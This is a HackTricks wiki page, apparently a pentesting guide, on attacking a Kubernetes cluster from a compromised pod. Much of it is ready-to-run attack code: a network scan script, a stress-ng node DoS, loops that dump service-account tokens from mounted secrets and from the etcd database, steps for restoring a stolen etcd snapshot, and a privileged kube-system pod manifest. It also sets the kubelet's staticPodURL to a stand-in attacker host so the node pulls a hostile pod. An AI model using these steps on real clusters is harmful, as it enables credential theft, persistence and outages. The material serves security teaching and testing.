HackTricks Cloud
HackTricks Cloud
HackTricks CloudAfrikaans - Ht CloudChinese - Ht CloudEspañol - Ht CloudFrançais - Ht CloudGerman - Ht CloudGreek - Ht CloudHindi - Ht CloudItalian - Ht CloudJapanese - Ht CloudKorean - Ht CloudPolish - Ht CloudPortuguês - Ht CloudSerbian - Ht CloudSwahili - Ht CloudTurkish - Ht CloudUkranian - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor
HackTricks TrainingTwitterLinkedinSponsor
  • 👽Welcome!
    • HackTricks Cloud
    • About the Author
    • HackTricks Values & faq
  • 🏭Pentesting CI/CD
    • Pentesting CI/CD Methodology
    • Github Security
      • Abusing Github Actions
        • Gh Actions - Artifact Poisoning
        • GH Actions - Cache Poisoning
        • Gh Actions - Context Script Injections
      • Accessible Deleted Data in Github
      • Basic Github Information
    • Gitea Security
      • Basic Gitea Information
    • Concourse Security
      • Concourse Architecture
      • Concourse Lab Creation
      • Concourse Enumeration & Attacks
    • CircleCI Security
    • TravisCI Security
      • Basic TravisCI Information
    • Jenkins Security
      • Basic Jenkins Information
      • Jenkins RCE with Groovy Script
      • Jenkins RCE Creating/Modifying Project
      • Jenkins RCE Creating/Modifying Pipeline
      • Jenkins Arbitrary File Read to RCE via "Remember Me"
      • Jenkins Dumping Secrets from Groovy
    • Apache Airflow Security
      • Airflow Configuration
      • Airflow RBAC
    • Terraform Security
    • Atlantis Security
    • Cloudflare Security
      • Cloudflare Domains
      • Cloudflare Zero Trust Network
    • Okta Security
      • Okta Hardening
    • Supabase Security
    • Ansible Tower / AWX / Automation controller Security
    • TODO
  • ⛈️Pentesting Cloud
    • Pentesting Cloud Methodology
    • Kubernetes Pentesting
      • Kubernetes Basics
      • Pentesting Kubernetes Services
        • Kubelet Authentication & Authorization
      • Exposing Services in Kubernetes
      • Attacking Kubernetes from inside a Pod
      • Kubernetes Enumeration
      • Kubernetes Role-Based Access Control(RBAC)
      • Abusing Roles/ClusterRoles in Kubernetes
        • Pod Escape Privileges
        • Kubernetes Roles Abuse Lab
      • Kubernetes Namespace Escalation
      • Kubernetes External Secret Operator
      • Kubernetes Pivoting to Clouds
      • Kubernetes Network Attacks
      • Kubernetes Hardening
        • Kubernetes SecurityContext(s)
      • Kubernetes OPA Gatekeeper
        • Kubernetes OPA Gatekeeper bypass
      • Kubernetes Kyverno
        • Kubernetes Kyverno bypass
      • Kubernetes ValidatingWebhookConfiguration
    • GCP Pentesting
      • GCP - Basic Information
        • GCP - Federation Abuse
      • GCP - Permissions for a Pentest
      • GCP - Post Exploitation
        • GCP - App Engine Post Exploitation
        • GCP - Artifact Registry Post Exploitation
        • GCP - Cloud Build Post Exploitation
        • GCP - Cloud Functions Post Exploitation
        • GCP - Cloud Run Post Exploitation
        • GCP - Cloud Shell Post Exploitation
        • GCP - Cloud SQL Post Exploitation
        • GCP - Compute Post Exploitation
        • GCP - Filestore Post Exploitation
        • GCP - IAM Post Exploitation
        • GCP - KMS Post Exploitation
        • GCP - Logging Post Exploitation
        • GCP - Monitoring Post Exploitation
        • GCP - Pub/Sub Post Exploitation
        • GCP - Secretmanager Post Exploitation
        • GCP - Security Post Exploitation
        • GCP - Workflows Post Exploitation
        • GCP - Storage Post Exploitation
      • GCP - Privilege Escalation
        • GCP - Apikeys Privesc
        • GCP - AppEngine Privesc
        • GCP - Artifact Registry Privesc
        • GCP - Batch Privesc
        • GCP - BigQuery Privesc
        • GCP - ClientAuthConfig Privesc
        • GCP - Cloudbuild Privesc
        • GCP - Cloudfunctions Privesc
        • GCP - Cloudidentity Privesc
        • GCP - Cloud Scheduler Privesc
        • GCP - Compute Privesc
          • GCP - Add Custom SSH Metadata
        • GCP - Composer Privesc
        • GCP - Container Privesc
        • GCP - Deploymentmaneger Privesc
        • GCP - IAM Privesc
        • GCP - KMS Privesc
        • GCP - Orgpolicy Privesc
        • GCP - Pubsub Privesc
        • GCP - Resourcemanager Privesc
        • GCP - Run Privesc
        • GCP - Secretmanager Privesc
        • GCP - Serviceusage Privesc
        • GCP - Sourcerepos Privesc
        • GCP - Storage Privesc
        • GCP - Workflows Privesc
        • GCP - Generic Permissions Privesc
        • GCP - Network Docker Escape
        • GCP - local privilege escalation ssh pivoting
      • GCP - Persistence
        • GCP - API Keys Persistence
        • GCP - App Engine Persistence
        • GCP - Artifact Registry Persistence
        • GCP - BigQuery Persistence
        • GCP - Cloud Functions Persistence
        • GCP - Cloud Run Persistence
        • GCP - Cloud Shell Persistence
        • GCP - Cloud SQL Persistence
        • GCP - Compute Persistence
        • GCP - Dataflow Persistence
        • GCP - Filestore Persistence
        • GCP - Logging Persistence
        • GCP - Secret Manager Persistence
        • GCP - Storage Persistence
        • GCP - Token Persistance
      • GCP - Services
        • GCP - AI Platform Enum
        • GCP - API Keys Enum
        • GCP - App Engine Enum
        • GCP - Artifact Registry Enum
        • GCP - Batch Enum
        • GCP - Bigquery Enum
        • GCP - Bigtable Enum
        • GCP - Cloud Build Enum
        • GCP - Cloud Functions Enum
        • GCP - Cloud Run Enum
        • GCP - Cloud Shell Enum
        • GCP - Cloud SQL Enum
        • GCP - Cloud Scheduler Enum
        • GCP - Compute Enum
          • GCP - Compute Instances
          • GCP - VPC & Networking
        • GCP - Composer Enum
        • GCP - Containers & GKE Enum
        • GCP - DNS Enum
        • GCP - Filestore Enum
        • GCP - Firebase Enum
        • GCP - Firestore Enum
        • GCP - IAM, Principals & Org Policies Enum
        • GCP - KMS Enum
        • GCP - Logging Enum
        • GCP - Memorystore Enum
        • GCP - Monitoring Enum
        • GCP - Pub/Sub Enum
        • GCP - Secrets Manager Enum
        • GCP - Security Enum
        • GCP - Source Repositories Enum
        • GCP - Spanner Enum
        • GCP - Stackdriver Enum
        • GCP - Storage Enum
        • GCP - Workflows Enum
      • GCP <--> Workspace Pivoting
        • GCP - Understanding Domain-Wide Delegation
      • GCP - Unauthenticated Enum & Access
        • GCP - API Keys Unauthenticated Enum
        • GCP - App Engine Unauthenticated Enum
        • GCP - Artifact Registry Unauthenticated Enum
        • GCP - Cloud Build Unauthenticated Enum
        • GCP - Cloud Functions Unauthenticated Enum
        • GCP - Cloud Run Unauthenticated Enum
        • GCP - Cloud SQL Unauthenticated Enum
        • GCP - Compute Unauthenticated Enum
        • GCP - IAM, Principals & Org Unauthenticated Enum
        • GCP - Source Repositories Unauthenticated Enum
        • GCP - Storage Unauthenticated Enum
          • GCP - Public Buckets Privilege Escalation
    • GWS - Workspace Pentesting
      • GWS - Post Exploitation
      • GWS - Persistence
      • GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
        • GWS - Admin Directory Sync
        • GCDS - Google Cloud Directory Sync
        • GCPW - Google Credential Provider for Windows
        • GPS - Google Password Sync
      • GWS - Google Platforms Phishing
        • GWS - App Scripts
    • AWS Pentesting
      • AWS - Basic Information
        • AWS - Federation Abuse
      • AWS - Permissions for a Pentest
      • AWS - Persistence
        • AWS - API Gateway Persistence
        • AWS - Cognito Persistence
        • AWS - DynamoDB Persistence
        • AWS - EC2 Persistence
        • AWS - ECR Persistence
        • AWS - ECS Persistence
        • AWS - Elastic Beanstalk Persistence
        • AWS - EFS Persistence
        • AWS - IAM Persistence
        • AWS - KMS Persistence
        • AWS - Lambda Persistence
          • AWS - Abusing Lambda Extensions
          • AWS - Lambda Layers Persistence
        • AWS - Lightsail Persistence
        • AWS - RDS Persistence
        • AWS - S3 Persistence
        • AWS - SNS Persistence
        • AWS - Secrets Manager Persistence
        • AWS - SQS Persistence
        • AWS - SSM Perssitence
        • AWS - Step Functions Persistence
        • AWS - STS Persistence
      • AWS - Post Exploitation
        • AWS - API Gateway Post Exploitation
        • AWS - CloudFront Post Exploitation
        • AWS - CodeBuild Post Exploitation
          • AWS Codebuild - Token Leakage
        • AWS - Control Tower Post Exploitation
        • AWS - DLM Post Exploitation
        • AWS - DynamoDB Post Exploitation
        • AWS - EC2, EBS, SSM & VPC Post Exploitation
          • AWS - EBS Snapshot Dump
          • AWS - Malicious VPC Mirror
        • AWS - ECR Post Exploitation
        • AWS - ECS Post Exploitation
        • AWS - EFS Post Exploitation
        • AWS - EKS Post Exploitation
        • AWS - Elastic Beanstalk Post Exploitation
        • AWS - IAM Post Exploitation
        • AWS - KMS Post Exploitation
        • AWS - Lambda Post Exploitation
          • AWS - Steal Lambda Requests
        • AWS - Lightsail Post Exploitation
        • AWS - Organizations Post Exploitation
        • AWS - RDS Post Exploitation
        • AWS - S3 Post Exploitation
        • AWS - Secrets Manager Post Exploitation
        • AWS - SES Post Exploitation
        • AWS - SNS Post Exploitation
        • AWS - SQS Post Exploitation
        • AWS - SSO & identitystore Post Exploitation
        • AWS - Step Functions Post Exploitation
        • AWS - STS Post Exploitation
        • AWS - VPN Post Exploitation
      • AWS - Privilege Escalation
        • AWS - Apigateway Privesc
        • AWS - Chime Privesc
        • AWS - Codebuild Privesc
        • AWS - Codepipeline Privesc
        • AWS - Codestar Privesc
          • codestar:CreateProject, codestar:AssociateTeamMember
          • iam:PassRole, codestar:CreateProject
        • AWS - Cloudformation Privesc
          • iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
        • AWS - Cognito Privesc
        • AWS - Datapipeline Privesc
        • AWS - Directory Services Privesc
        • AWS - DynamoDB Privesc
        • AWS - EBS Privesc
        • AWS - EC2 Privesc
        • AWS - ECR Privesc
        • AWS - ECS Privesc
        • AWS - EFS Privesc
        • AWS - Elastic Beanstalk Privesc
        • AWS - EMR Privesc
        • AWS - EventBridge Scheduler Privesc
        • AWS - Gamelift
        • AWS - Glue Privesc
        • AWS - IAM Privesc
        • AWS - KMS Privesc
        • AWS - Lambda Privesc
        • AWS - Lightsail Privesc
        • AWS - Mediapackage Privesc
        • AWS - MQ Privesc
        • AWS - MSK Privesc
        • AWS - RDS Privesc
        • AWS - Redshift Privesc
        • AWS - Route53 Privesc
        • AWS - SNS Privesc
        • AWS - SQS Privesc
        • AWS - SSO & identitystore Privesc
        • AWS - Organizations Privesc
        • AWS - S3 Privesc
        • AWS - Sagemaker Privesc
        • AWS - Secrets Manager Privesc
        • AWS - SSM Privesc
        • AWS - Step Functions Privesc
        • AWS - STS Privesc
        • AWS - WorkDocs Privesc
      • AWS - Services
        • AWS - Security & Detection Services
          • AWS - CloudTrail Enum
          • AWS - CloudWatch Enum
          • AWS - Config Enum
          • AWS - Control Tower Enum
          • AWS - Cost Explorer Enum
          • AWS - Detective Enum
          • AWS - Firewall Manager Enum
          • AWS - GuardDuty Enum
          • AWS - Inspector Enum
          • AWS - Macie Enum
          • AWS - Security Hub Enum
          • AWS - Shield Enum
          • AWS - Trusted Advisor Enum
          • AWS - WAF Enum
        • AWS - API Gateway Enum
        • AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)
        • AWS - CloudFormation & Codestar Enum
        • AWS - CloudHSM Enum
        • AWS - CloudFront Enum
        • AWS - Codebuild Enum
        • AWS - Cognito Enum
          • Cognito Identity Pools
          • Cognito User Pools
        • AWS - DataPipeline, CodePipeline & CodeCommit Enum
        • AWS - Directory Services / WorkDocs Enum
        • AWS - DocumentDB Enum
        • AWS - DynamoDB Enum
        • AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
          • AWS - Nitro Enum
          • AWS - VPC & Networking Basic Information
        • AWS - ECR Enum
        • AWS - ECS Enum
        • AWS - EKS Enum
        • AWS - Elastic Beanstalk Enum
        • AWS - ElastiCache
        • AWS - EMR Enum
        • AWS - EFS Enum
        • AWS - EventBridge Scheduler Enum
        • AWS - Kinesis Data Firehose Enum
        • AWS - IAM, Identity Center & SSO Enum
        • AWS - KMS Enum
        • AWS - Lambda Enum
        • AWS - Lightsail Enum
        • AWS - MQ Enum
        • AWS - MSK Enum
        • AWS - Organizations Enum
        • AWS - Redshift Enum
        • AWS - Relational Database (RDS) Enum
        • AWS - Route53 Enum
        • AWS - Secrets Manager Enum
        • AWS - SES Enum
        • AWS - SNS Enum
        • AWS - SQS Enum
        • AWS - S3, Athena & Glacier Enum
        • AWS - Step Functions Enum
        • AWS - STS Enum
        • AWS - Other Services Enum
      • AWS - Unauthenticated Enum & Access
        • AWS - Accounts Unauthenticated Enum
        • AWS - API Gateway Unauthenticated Enum
        • AWS - Cloudfront Unauthenticated Enum
        • AWS - Cognito Unauthenticated Enum
        • AWS - CodeBuild Unauthenticated Access
        • AWS - DocumentDB Unauthenticated Enum
        • AWS - DynamoDB Unauthenticated Access
        • AWS - EC2 Unauthenticated Enum
        • AWS - ECR Unauthenticated Enum
        • AWS - ECS Unauthenticated Enum
        • AWS - Elastic Beanstalk Unauthenticated Enum
        • AWS - Elasticsearch Unauthenticated Enum
        • AWS - IAM & STS Unauthenticated Enum
        • AWS - Identity Center & SSO Unauthenticated Enum
        • AWS - IoT Unauthenticated Enum
        • AWS - Kinesis Video Unauthenticated Enum
        • AWS - Lambda Unauthenticated Access
        • AWS - Media Unauthenticated Enum
        • AWS - MQ Unauthenticated Enum
        • AWS - MSK Unauthenticated Enum
        • AWS - RDS Unauthenticated Enum
        • AWS - Redshift Unauthenticated Enum
        • AWS - SQS Unauthenticated Enum
        • AWS - SNS Unauthenticated Enum
        • AWS - S3 Unauthenticated Enum
    • Azure Pentesting
      • Az - Basic Information
        • Az - Tokens & Public Applications
      • Az - Enumeration Tools
      • Az - Unauthenticated Enum & Initial Entry
        • Az - OAuth Apps Phishing
        • Az - Device Code Authentication Phishing
        • Az - Password Spraying
      • Az - Services
        • Az - Entra ID (AzureAD) & Azure IAM
        • Az - Management Groups, Subscriptions & Resource Groups
        • Az - ACR
        • Az - Application Proxy
        • Az - ARM Templates / Deployments
        • Az - Automation Account
          • Az - State Configuration RCE
        • Az - Azure App Service & Function Apps
        • Az - Storage Accounts & Blobs
        • Az - File Shares
        • Az - Table Storage
        • Az - Queue Storage
        • Az - Service Bus
        • Az - Intune
        • Az - Key Vault
        • Az - Logic Apps
        • Az - SQL
        • Az - Virtual Machines & Network
          • Az - Azure Network
      • Az - Permissions for a Pentest
      • Az - Lateral Movement (Cloud - On-Prem)
        • Az AD Connect - Hybrid Identity
          • Az- Synchronising New Users
          • Az - Default Applications
          • Az - Cloud Kerberos Trust
          • Az - Federation
          • Az - PHS - Password Hash Sync
          • Az - PTA - Pass-through Authentication
          • Az - Seamless SSO
          • Az - Arc vulnerable GPO Deploy Script
        • Az - Local Cloud Credentials
        • Az - Pass the Cookie
        • Az - Pass the Certificate
        • Az - Pass the PRT
        • Az - Phishing Primary Refresh Token (Microsoft Entra)
        • Az - Processes Memory Access Token
        • Az - Primary Refresh Token (PRT)
      • Az - Post Exploitation
        • Az - Key Vault Post Exploitation
        • Az - File Share Post Exploitation
        • Az - Table Storage Post Exploitation
        • Az - Blob Storage Post Exploitation
        • Az - Queue Storage Post Exploitation
        • Az - Service Bus Post Exploitation
      • Az - Privilege Escalation
        • Az - Azure IAM Privesc (Authorization)
        • Az - EntraID Privesc
          • Az - Conditional Access Policies & MFA Bypass
          • Az - Dynamic Groups Privesc
        • Az - Key Vault Privesc
        • Az - Queue Storage Privesc
        • Az - Service Bus Privesc
        • Az - Storage Privesc
      • Az - Persistence
        • Az - Storage Persistence
        • Az - Queue Storage Persistence
      • Az - Device Registration
    • Digital Ocean Pentesting
      • DO - Basic Information
      • DO - Permissions for a Pentest
      • DO - Services
        • DO - Apps
        • DO - Container Registry
        • DO - Databases
        • DO - Droplets
        • DO - Functions
        • DO - Images
        • DO - Kubernetes (DOKS)
        • DO - Networking
        • DO - Projects
        • DO - Spaces
        • DO - Volumes
    • IBM Cloud Pentesting
      • IBM - Hyper Protect Crypto Services
      • IBM - Hyper Protect Virtual Server
      • IBM - Basic Information
    • OpenShift Pentesting
      • OpenShift - Basic information
      • Openshift - SCC
      • OpenShift - Jenkins
        • OpenShift - Jenkins Build Pod Override
      • OpenShift - Privilege Escalation
        • OpenShift - Missing Service Account
        • OpenShift - Tekton
        • OpenShift - SCC bypass
  • 🛫Pentesting Network Services
    • HackTricks Pentesting Network
    • HackTricks Pentesting Services
Powered by GitBook
On this page
  • Pod Breakout
  • Escaping from the pod
  • Abusing Kubernetes Privileges
  • Abusing Cloud Privileges
  • Search vulnerable network services
  • Services
  • Scanning
  • Sniffing
  • Network Spoofing
  • Node DoS
  • Node Post-Exploitation
  • Find node kubeconfig
  • Steal Secrets
  • Privileged DaemonSets
  • Pivot to Cloud
  • Steal etcd
  • Static/Mirrored Pods Persistence
  • Delete pods + unschedulable nodes
  • Automatic Tools

Was this helpful?

Edit on GitHub

Attacking Kubernetes from inside a Pod

PreviousExposing Services in KubernetesNextKubernetes Enumeration

Last updated 27 days ago

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
  • Check the subscription plans!

  • Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

  • Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Pod Breakout

If you are lucky enough you may be able to escape from it to the node:

Escaping from the pod

In order to try to escape from the pods you might need to escalate privileges first, some techniques to do it:

You can check this docker breakouts to try to escape from a pod you have compromised:

Abusing Kubernetes Privileges

As explained in the section about kubernetes enumeration:

Usually the pods are run with a service account token inside of them. This service account may have some privileges attached to it that you could abuse to move to other pods or even to escape to the nodes configured inside the cluster. Check how in:

Abusing Cloud Privileges

If the pod is run inside a cloud environment you might be able to leak a token from the metadata endpoint and escalate privileges using it.

Search vulnerable network services

As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should search potential vulnerable services.

Services

For this purpose, you can try to get all the services of the kubernetes environment:

kubectl get svc --all-namespaces

By default, Kubernetes uses a flat networking schema, which means any pod/service within the cluster can talk to other. The namespaces within the cluster don't have any network security restrictions by default. Anyone in the namespace can talk to other namespaces.

Scanning

The following Bash script (taken from a Kubernetes workshop) will install and scan the IP ranges of the kubernetes cluster:

sudo apt-get update
sudo apt-get install nmap
nmap-kube () 
{ 
    nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
    local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');                                                                  
    local SERVER_RANGES=" ";
    SERVER_RANGES+="10.0.0.1 ";
    SERVER_RANGES+="10.0.1.* ";
    SERVER_RANGES+="10.*.0-1.* ";
    nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:

Sniffing

In case the compromised pod is running some sensitive service where other pods need to authenticate you might be able to obtain the credentials send from the other pods sniffing local communications.

Network Spoofing

By default techniques like ARP spoofing (and thanks to that DNS Spoofing) work in kubernetes network. Then, inside a pod, if you have the NET_RAW capability (which is there by default), you will be able to send custom crafted network packets and perform MitM attacks via ARP Spoofing to all the pods running in the same node. Moreover, if the malicious pod is running in the same node as the DNS Server, you will be able to perform a DNS Spoofing attack to all the pods in cluster.

Node DoS

There is no specification of resources in the Kubernetes manifests and not applied limit ranges for the containers. As an attacker, we can consume all the resources where the pod/deployment running and starve other resources and cause a DoS for the environment.

This can be done with a tool such as stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

You can see the difference between while running stress-ng and after

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

If you managed to escape from the container there are some interesting things you will find in the node:

  • The Container Runtime process (Docker)

  • More pods/containers running in the node you can abuse like this one (more tokens)

  • The whole filesystem and OS in general

  • The Kube-Proxy service listening

  • The Kubelet service listening. Check config files:

    • Directory: /var/lib/kubelet/

      • /var/lib/kubelet/kubeconfig

      • /var/lib/kubelet/kubelet.conf

      • /var/lib/kubelet/config.yaml

      • /var/lib/kubelet/kubeadm-flags.env

      • /etc/kubernetes/kubelet-kubeconfig

    • Other kubernetes common files:

      • $HOME/.kube/config - User Config

      • /etc/kubernetes/kubelet.conf- Regular Config

      • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap Config

      • /etc/kubernetes/manifests/etcd.yaml - etcd Configuration

      • /etc/kubernetes/pki - Kubernetes Key

Find node kubeconfig

If you cannot find the kubeconfig file in one of the previously commented paths, check the argument --kubeconfig of the kubelet process:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Steal Secrets

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
    TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
    if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
        ALREADY="$ALREADY|$TOKEN"
        echo "Directory: $i"
        echo "Namespace: $(cat $i)"
        echo ""
        echo $TOKEN
        echo "================================================================================"
        echo ""
    fi
done

The script can-they.sh will automatically get the tokens of other pods and check if they have the permission you are looking for (instead of you looking 1 by 1):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Privileged DaemonSets

A DaemonSet is a pod that will be run in all the nodes of the cluster. Therefore, if a DaemonSet is configured with a privileged service account, in ALL the nodes you are going to be able to find the token of that privileged service account that you could abuse.

The exploit is the same one as in the previous section, but you now don't depend on luck.

Pivot to Cloud

If the cluster is managed by a cloud service, usually the Node will have a different access to the metadata endpoint than the Pod. Therefore, try to access the metadata endpoint from the node (or from a pod with hostNetwork to True):

Steal etcd

If you can specify the nodeName of the Node that will run the container, get a shell inside a control-plane node and get the etcd database:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane nodes have the role master and in cloud managed clusters you won't be able to run anything in them.

Read secrets from etcd 1

If you can run your pod on a control-plane node using the nodeName selector in the pod spec, you might have easy access to the etcd database, which contains all of the configuration for the cluster, including all secrets.

Below is a quick and dirty way to grab secrets from etcd if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the etcd client utility etcdctl and uses the control-plane node's credentials to connect to etcd wherever it is running, check out this example manifest from @mauilion.

Check to see if etcd is running on the control-plane node and see where the database is (This is on a kubeadm created cluster)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Output:

data-dir=/var/lib/etcd

View the data in etcd database:

strings /var/lib/etcd/member/snap/db | less

Extract the tokens from the database and show the service account name

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Same command, but some greps to only return the default token in the kube-system namespace

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Output:

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Read secrets from etcd 2 from here

  1. Create a snapshot of the etcd database. Check this script for further info.

  2. Transfer the etcd snapshot out of the node in your favourite way.

  3. Unpack the database:

mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
  1. Start etcd on your local machine and make it use the stolen snapshot:

etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
  1. List all the secrets:

etcdctl get "" --prefix --keys-only | grep secret 
  1. Get the secfrets:

 etcdctl get /registry/secrets/default/my-secret

Static/Mirrored Pods Persistence

Static Pods are managed directly by the kubelet daemon on a specific node, without the API server observing them. Unlike Pods that are managed by the control plane (for example, a Deployment); instead, the kubelet watches each static Pod (and restarts it if it fails).

Therefore, static Pods are always bound to one Kubelet on a specific node.

The kubelet automatically tries to create a mirror Pod on the Kubernetes API server for each static Pod. This means that the Pods running on a node are visible on the API server, but cannot be controlled from there. The Pod names will be suffixed with the node hostname with a leading hyphen.

The spec of a static Pod cannot refer to other API objects (e.g., ServiceAccount, ConfigMap, Secret, etc. So you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).

If you are inside the node host you can make it create a static pod inside itself. This is pretty useful because it might allow you to create a pod in a different namespace like kube-system.

In order to create a static pod, the docs are a great help. You basically need 2 things:

  • Configure the param --pod-manifest-path=/etc/kubernetes/manifests in the kubelet service, or in the kubelet config (staticPodPath) and restart the service

  • Create the definition on the pod definition in /etc/kubernetes/manifests

Another more stealth way would be to:

  • Modify the param staticPodURL from kubelet config file and set something like staticPodURL: http://attacker.com:8765/pod.yaml. This will make the kubelet process create a static pod getting the configuration from the indicated URL.

Example of pod configuration to create a privilege pod in kube-system taken from here:

apiVersion: v1
kind: Pod
metadata:
  name: bad-priv2
  namespace: kube-system
spec:
  containers:
  - name: bad
    hostPID: true
    image: gcr.io/shmoocon-talk-hacking/brick
    stdin: true
    tty: true
    imagePullPolicy: IfNotPresent
    volumeMounts:
      - mountPath: /chroot
        name: host
  securityContext:
    privileged: true
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

Delete pods + unschedulable nodes

If an attacker has compromised a node and he can delete pods from other nodes and make other nodes not able to execute pods, the pods will be rerun in the compromised node and he will be able to steal the tokens run in them. For more info follow this links.

Automatic Tools

  • https://github.com/inguardians/peirates

Peirates v1.1.8-beta by InGuardians
  https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
  • https://github.com/r0binak/MTKPI

Support HackTricks
  • Check the subscription plans!

  • Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

  • Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Kubernetes Enumeration
Abusing Roles/ClusterRoles in Kubernetes
Pentesting Kubernetes Services
Kubernetes Network Attacks
Kubernetes Pivoting to Clouds
LogoLinux Privilege EscalationHackTricks
LogoDocker Basics & BreakoutHackTricks